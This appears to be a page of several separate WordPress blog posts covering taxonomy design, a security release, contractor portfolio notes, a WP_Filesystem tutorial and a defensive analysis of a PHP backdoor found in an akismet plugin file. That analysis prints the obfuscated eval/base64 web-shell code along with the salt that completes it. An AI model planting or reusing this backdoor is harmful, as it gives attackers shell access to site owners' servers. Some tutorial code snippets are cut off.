Saw a post over on the WordPress Stack Exchange site a while back, and though I sorta went into it in my answer there, I figured it would make a decent topic.

Custom taxonomies are great. But they’re not great for everything. When designing a custom solution, it’s helpful to understand this in advance, so you can choose what goes where properly.

What is a Taxonomy?

According to Wikipedia, Taxonomy is the practice and science of classification. I like this definition a lot, because it really points out what you’re doing with taxonomies. You’re classifying things. Or better yet, grouping them.

That word is important: Grouping. You’re putting things into groups. The taxonomy is the sum of those groups.

In the case of WordPress, you’re putting posts into groups. Maybe they’re custom post types of some kind (actually, they probably are if you’re doing it properly), but they still fit into the wp_posts table, so lets call them posts. You’re grouping posts together.

Categories group posts together. Tags group posts together. The way that these two are used is somewhat different, but that’s the basic end result here, right?

The group itself is the important bit. Not the term, the term you use for that group is just a label. It has no real significance whatsoever.

Now, I know that we often display the term, and I think that this is what confuses people. The category or tag is probably a word, in English (or your own language), and words have meaning. So yes, it does matter when I add “php” as a tag, or use the “Rants” category. But what’s important to realize is that that word only has meaning to people, not to the computers, and certainly not to our data design.

Enter Postmeta, Stage Left

Let’s say I’m building a new site, and I want to make, say, television shows be a custom post type. TV Shows are a pretty good choice for this example, as well as what the original SE question was about.

What makes sense as a taxonomy for a TV Show? Title? Actors? Episode numbers? Season numbers? For each item, you need to consider whether it makes more sense as a taxonomy or as pure post meta, or (rarely) both.

Titles makes perfect sense for a taxonomy. You’re grouping all the episodes of that show together, and people will want to see an episode listing. So yes, it’s a taxonomy.

Actors also makes sense as a taxonomy. Actors act in many roles, it would be nice to see what various shows and episodes they’ve been in.

Season and Episode numbers is another one. Every show has it’s own season and episode number. Usually this is represented as Season 1, Episode 1, sort of thing. At first glance, season numbers kinda makes sense as a taxonomy, since you can pull all of season 1 out. But on further reflection, no it doesn’t, because it doesn’t stand alone. Every TV series has a season 1. We don’t want to pull out all season 1 shows from all series, it’s not something we’ll need to do. Same goes for episode numbers, when are we going to make a query based on episode numbers, to get all the first episodes of all shows? Makes no sense. These should be postmeta (or “Custom Fields” as some people insist on calling them).

The difference is one of grouping. For Titles and Actors, we’re grouping individual things together in a meaningful way that stands alone. Sure, our labels (terms) will have meaning to us humans, but not to the act of the grouping itself. The group is a natural one. For seasons, the grouping is meaningful, but less so because it’s shared among non-similar things (different shows). It doesn’t stand alone. You could get around that by saying that your term would be title-season# or similar, but it really makes more sense as postmeta, since the season and episode number, taken together, are unique to the item we’re storing.

Postmeta as Unique Information

That’s the difference: Postmeta is bits of information that are specific to the post item itself. Taxonomies are bits of information shared, in a meaningful manner, by many different items. Title is shared across all episodes of a TV Show, and defines a meaningful relationship to all those episodes. Season number is shared, but it’s not meaningful because all shows have similar season numbers.

Notably, there’s easy ways to order by postmeta, but not by a taxonomy. Ordering by a taxonomy makes no real sense, because lots of items will share the same terms in that taxonomy. If I have 20 items all with “foo” as a term in a taxonomy, then what am I ordering them by? They’re all “foo” items.

As for querying, I can query based on either postmeta or taxonomy, if I really want to. Ideally, I’d do both. For example, if I wanted Firefly, Season 1, Episode 13, then I could specify both a tax_query for title and a meta_query for “S01E13″ and get that one unique item. If I wanted all episodes of it in order, then I specify the tax_query for title and the meta query to select the season/episode metadata, then use the orderby to put them in the right order.

Choose Wisely

So if I can query by them both, but only order by postmeta, then what’s the difference? Why not use postmeta for everything?

Speed. Querying for a taxonomy is loads faster than querying for posts with certain meta information. Even better, I can use both to make things even speedier. The meta_query for S01E13 is going to be loads faster when I specify that title taxonomy, because now it’s only looking for S01E13 amongst Firefly episodes, not amongst all episodes of all shows.

The bottom line is that it’s best to use a taxonomy for attributes that a) define a natural grouping of your items, and b) which are natural labels and not inherently useful data to your methods. The title is not inherently a useful data (it’s just text, could be anything), but the episode number is a number which you will want to order by and display/change/set. You use that episode number for doing something.

Also, it’s perfectly understandable for individuals to disagree on any given example. There is no “right” answer, there’s only the answer that satisfies your own personal use cases. When designing your taxonomies, just remember to think about grouping of items and how you’re going to use the data you’re defining. If it’s a group in how you are going to use it, then a taxonomy works better than postmeta. But if you need the attribute to be manipulated in some manner, then a postmeta works better.

WordPress 3.1.2 is now available and is a security release for all previous WordPress versions.

This release addresses a vulnerability that allowed Contributor-level users to improperly publish posts.

The issue was discovered by a member of our security team, WordPress developer Andrew Nacin, with Benjamin Balter.

We suggest you update to 3.1.2 promptly, especially if you allow users to register as contributors or if you have untrusted users. This release also fixes a few bugs that missed the boat for version 3.1.1.

Download 3.1.2 or update automatically from the Dashboard → Updates menu in your site’s admin area.

Some recent contract work just completed, via Immersion Media, a California company;

I was alerted to this tweet by @andrea_r this morning:

Uh oh... This was in wp-content/plugins/akismet/admin.php. #WordPress
Scott Basgaard

Here’s the code in question:

@$str2 = "B4RkYnXTtAc3lzdGVtK" . $HTTPS_ACCEPT_URLENCODING['WIN-1251'];
@$str3 = "CRuZXdzdHJlYW0pOw==" . $HTTP_ACCEPT_URLENCODING['UTF-8'];
@eval(base64_decode($_GET['salt'] . $str1 . $str2 . $str3));

Decoding this is a rather simple matter. First, we remove the eval line and do a var_dump on the variables. We get this:

>php test.php
string(19) "0cmVhbT1AJF9HRVRbJz"
string(19) "B4RkYnXTtAc3lzdGVtK"
string(19) "CRuZXdzdHJlYW0pOw=="

Notice that the HTTP_ACCEPT_URLENCODING mess is a red herring. It’s there to make it look more legit, sort of thing.

So now we have this string: “0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”. Unfortunately, it is incomplete. Note the “salt” parameter being used in the eval(base64_decode()) line.

Well, a bit of searching turned up the fact that the salt is supposed to be “JG5ld3N”. So somebody can send a ?salt=JG5ld3N parameter in an HTTP request and get the following string to decode: “JG5ld3N0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”.

So we run that through a base64 decoder and get this:


So it’s just performing a system call on whatever comes in via the 0xFF parameter. Ah ha! It’s a shell backdoor. I can make a hit to**any-command-I-want** and have it execute it in the shell.

Fortunately, this is not a particularly well hidden example. The use of “eval” and “base64_decode” is a dead giveaway, as is the use of unchecked $GET parameters.

Most likely, Scott got hacked through either bad permissions on a shared server or somebody got ahold of his FTP credentials somehow. It’s hard to say without seeing his server logs, but checking through all files on the system is probably a good idea.

As always, the Codex has some good suggestions.

This portfolio site is for multi-disciplinary designer Elisa Cachero, and shows her design work in textiles, art direction, print & web design, and event planning.

It uses the WordPress engine with the popular portfolio theme Autofocuspro . Urban Legend web was contracted via to update that theme so that;

  • the front page displays in the way usually used for category pages
  • the number of posts shown beneath the feature image on the home page is limited
  • copyright information can be included on single post pages which use the JQuery image slider
  • the default ‘next’ and ‘previous’ post arrows on the front page are hidden
  • show front-page post titles only on mouse hover

Via the site, I’ve now worked on a number of WordPress autofocuspro installations, and invite further queries relating to that theme.

This site is, The Great New Zealand River Ride, an outdoors project based on New Zealand’s largest rvier, the  Waikato.

Urban Legend web was contracted by Cube Media to install and configure wordpress, code an original theme using that publishing platform, and based on supplied graphics, and add functional extensions.

The site features a JQuery slider on the front page, a JQuery-based drop-down menu, custom widgets, and customised plugins, including a subscription service.

Slides for the presentation I gave on Post Formats at the WordPress Memphis Meetup yesterday. It was a short presentation, only about 15-20 minutes, really. Post formats simply aren’t that complicated, and tend to be easy to grasp quickly.

Link if you can’t see the embedded version above:

I followed up showing on a demo site how you could use CSS to easily add and style post formats. During that, I used the Web Developer Addon for Firefox, since that’s my preferred means of quickly editing CSS files and seeing the results, live. Frankly, I just find Firebug too complicated to use for that sort of thing.

Lot of talk amongst theme authors recently about writing local files. Writing files from code, whether it be from a theme or from a plugin, is generally bad mojo. However understanding why you shouldn’t is confusing to many, and then understanding why you shouldn’t do-it-yourself and should use the WP_Filesystem is even more confusing. To further muddy up the waters, many theme authors have expressed confusion at how to use WP_Filesystem in the first place.

So, let’s run the gamut in this tutorial. Note that I wrote it quickly, so it may be uneven in parts. ;)

Why Not To Do It

The most common reasons I see theme authors wanting to write local files falls into three categories:

  1. Dynamic CSS
  2. Configuration Saving
  3. Export/Import

Take the Dynamic CSS case to start with, since it’s the most common one by far. Some theme authors say “I’m making a framework/system/construction-kit where the user can define their own theme/layout/color-schemes and thus produce a bunch of CSS. I want to save this CSS in the theme/uploads directory, and then put a link to it from their page, so that the browser downloads it from there.

Why they shouldn’t do that: There’s half a dozen reasons here, but the big two are a) put just the dynamic parts of CSS inline into the page instead, because it’s faster, simpler, and avoids an extra HTTP roundtrip for the user’s browser to get this CSS file and b) writing a CSS file locally is insecure as hell if you do it in the “natural” way.

Security is going to be a big issue for the next two items, so I’ll cover it right now.

Modern UNIX-like systems have the concept of “users”. When I SSH or FTP into my hosting account, then I’m logged in as me and my user account. However, my webserver doesn’t run as my user account. It runs under some different user account, usually “nobody” or “apache” or “web” or something similar to that.

So when I create files, they’re owned by me. When my webserver creates files, then they’re owned by the webserver’s user, whatever it is. Normally, this isn’t a big deal. The webserver can read and serve files either way, so who cares, right? Well, when you’re creating files that are owned by the webserver, then the webserver has permission to write to those files. It’s the owner of them, after all. What’s important here is that I’m not the only person on this webserver.

Shared hosting systems have many users files all served by the same webserver. So if I allow that “nobody” user to own files that are part of my webpage, then anybody else can use their account on the same webserver to modify those files, and thus modify my webpage. For the case of CSS files, this poses a cross-site-scripting risk. Somebody else on my shared webserver could insert code into my CSS files and change them so as to steal my account information. Bad mojo.

The other two, where theme authors are saving configuration or exporting and importing things have the same basic problems, although the risks might be even higher. In one case, I found a theme saving its configuration settings by creating a PHP file in the uploads directory and then using var_export to export the configuration variable to it. Then it proceeded to include this file when the theme loaded, to load its configuration back in. Talk about insecure, anybody running this theme is basically handing over the entire control of their website to anybody on the same web server.

How To Do It Anyway

“But Otto”, I hear you shouting from halfway around the world, “WordPress itself writes files all the time! It can even upgrade itself. How is this safe?” Well, Mr. Incredbly Loud Person, WordPress uses a system called WP_Filesystem to make this safe.

The WP_Filesystem basically support five different ways of writing files to the system and they all ensure that ownership of those files remains firmly in the hands of the same person that owns the WordPress files. In other words, it writes files using your user account and not as the webserver user.

I’m sure many people have seen this before:

This is the basic connection information screen that appears when you try to upgrade a plugin or themes or even the core code, on certain hosts. Some people may be running on hosts that don’t pop up this screen, but the basic process behind it still exists.

Essentially, what is going on here is that WordPress does some tests to detect how it can write files to the server and keep the same owner for those files. If it can’t do it directly, then it does it indirectly via FTP. It needs your login credentials at this point in order to log in as you and thus write files as you instead of as the webserver user that it’s running under.

How to Implement the WP_Filesystem code

Implementing the WP_Filesystem is easy, really. But to do it from a form or options type of system, then you need to have a form or options type of system already. So let’s start out with an extremely basic form, such as one a theme might implement.

// add the admin options page
add_action('admin_menu', 'otto_admin_add_page');

function otto_admin_add_page() {
	add_theme_page('Otto Test Page', 'Otto Test Options', 'edit_theme_options', 'otto', 'otto_options_page');

Okay, now we have a new options menu. Let’s make a form to put on that menu:

function otto_options_page() {
	if ( otto_check_buttons() ) return;
<h2>My custom options page</h2>
<form action="" method="post">
<?php wp_nonce_field('otto-theme-options'); ?>
<input name="save" type="submit" value="Save a file" />

Simple, no-nonsense form. It calls a function to check the incoming button press first (see more below), then it displays a form. It outputs a nonce, makes a button called “Save a file” since that’s what we’re going to do, then stops. Easy.

Note that the otto_check_buttons() function returns true or false, and this then returns when it is true, thus not displaying the form. This is simply to allow us to display the normal form or not, depending on what we need to do later.

So, when you submit the form, then that otto_check_buttons() function is going to come into effect. Let’s look at the beginning of that function:

function otto_check_buttons() {
	if (empty($_POST)) return false;


The beginning of it is simple. If the user hasn’t submitted the form yet, then it just returns false to make the previous function display the form. Next it checks the referer nonce, to make sure the nonce is correct for the page we’re on. Let’s continue:

$form_fields = array ('save'); // this is a list of the form field contents I want passed along between page views
$method = 'ftp'; // Normally you leave this an empty string and it figures it out by itself, but you can override the filesystem method here

// check to see if we are trying to save a file
if (isset($_POST['save'])) {

Here, I’m defining two variables that I’m going to use later. The form_fields is an array of the names of the fields in the form that I want to pass along through that connection information screen. In this case, I defined my “save” input field before, and it’s something I’ll be checking later, so it has to pass through that form. What happens is that the connection information form generates an extra hidden input with the contents from my the first form.

The method variable is not strictly necessary. I’m forcing it to use the “ftp” method for this demonstration code. Normally, you leave this blank and the system figures it out for itself. Changing ‘ftp’ to just ” here works fine.

Finally, you can see where I’m checking to make sure the save button was clicked. Moving on:

// okay, let's see about getting credentials
$url = wp_nonce_url('themes.php?page=otto','otto-theme-options');
if (false === ($creds = request_filesystem_credentials($url, $method, false, false, $form_fields) ) ) {
	// if we get here, then we don't have credentials yet,
	// but have just produced a form for the user to fill in,
	// so stop processing for now
	return true; // stop the normal page form from displaying

Now is the part where I get the credentials from the user. The request_filesystem_credentials() does several things.

  • It checks to see what kind of credentials it needs (we’re forcing it to FTP in this case)
  • It checks to see if they’re pre-DEFINEd in the wp-config file
  • It checks the POST input to see if it has just received them and returns them if it has
  • It checks the database to see if it remembers the hostname/username from before
  • It produces the necessary form to display if it doesn’t have them

The bottom line being that if it has the necessary credentials, it will return them. Else, it will output the form to be displayed to get the credentials, and then return false. So when it returns false, we know the form has been displayed, so we just exit and wait for the user to give us the necessary credentials.

When we get those credentials, we have to check to make sure they work. Here’s how we do that:

// now we have some credentials, try to get the wp_filesystem running
if ( ! WP_Filesystem($creds) ) {
	// our credentials were no good, ask the user for them again
	request_filesystem_credentials($url, $method, true, false, $form_fields);
	return true;

Simple, really. We call the WP_Filesystem and see if the credentials work. If not, we call request_filesystem_credentials a second time, but this time with the $error flag set. This produces the error message and form to the user so he can correct the information.

Finally, we should have working credentials from the user and all the information we need, so we use the $wp_filesystem global to write out a file.

// get the upload directory and make a test.txt file
$upload_dir = wp_upload_dir();
$filename = trailingslashit($upload_dir['path']).'test.txt';

// by this point, the $wp_filesystem global should be working, so let's use it to create a file
global $wp_filesystem;
if ( ! $wp_filesystem->put_contents( $filename, 'Test file contents', FS_CHMOD_FILE) ) {
	echo 'error saving file!';

That’s really all there is to it. I made a file in the upload directory called “test.txt” and wrote “Test file contents” to it. The global $wp_filesystem variable is what our call to WP_Filesystem($creds) created. This $wp_filesystem supports various different file functions, but the put_contents() function is the easiest one to understand. I gave it the filename, some contents, and the correct permissions for a file on the system. Simple and easy.

Reasons to use WP_Filesystem

Two big ones:

  • Compatibility
  • Security

Because of the various permissions systems in use, the WP_Filesystem supports many different ways of writing files to the system, but all abstracted out into simpler functions like put_contents() and get_contents() and such.

The only downside to it is that sometimes you need to ask the user for their account information in order to be able to get the access you need. But this is necessary in order to be secure, since you don’t want everybody else on the same server to be able to write to your files. And while you may have a server all to yourself, most of your users won’t. The most common setup for WP is on shared hosting, and if you’re creating a theme or a plugin, you should design for those users as well.

A copy of all the code above made into a demo plugin can be found here: wpfilesystem-demo.phps.

A client recently asked me to change a permalink ( the link to a single post from its title ) on his site, to test the theory that Google favours links which appear to be ‘static’ ( That is,links whose address end in ".html’).

No problem. I’ll just go feral for a few hours  trying to decipher WordPress references  which are about as clear as, er, Whangarei harbour.

Save yourself the anguish. The Redirection plugin is what you need. A bit of simple tweaking even I can understand, and you’e on your way.



This site, The Designers Library, is for a soft-furnishings ( curtains , blinds etc ) company in Hamilton, New Zealand.

It is designed by CubeMedia, and converted into a fully-functional WordPress – powered website by Urban Legend Web.

It uses a JQuery – based slider for the slideshow on the front page, and a semi-transparent background for the centered content area. A combination of native WordPress abilities, plugins, and customised templates drive the site.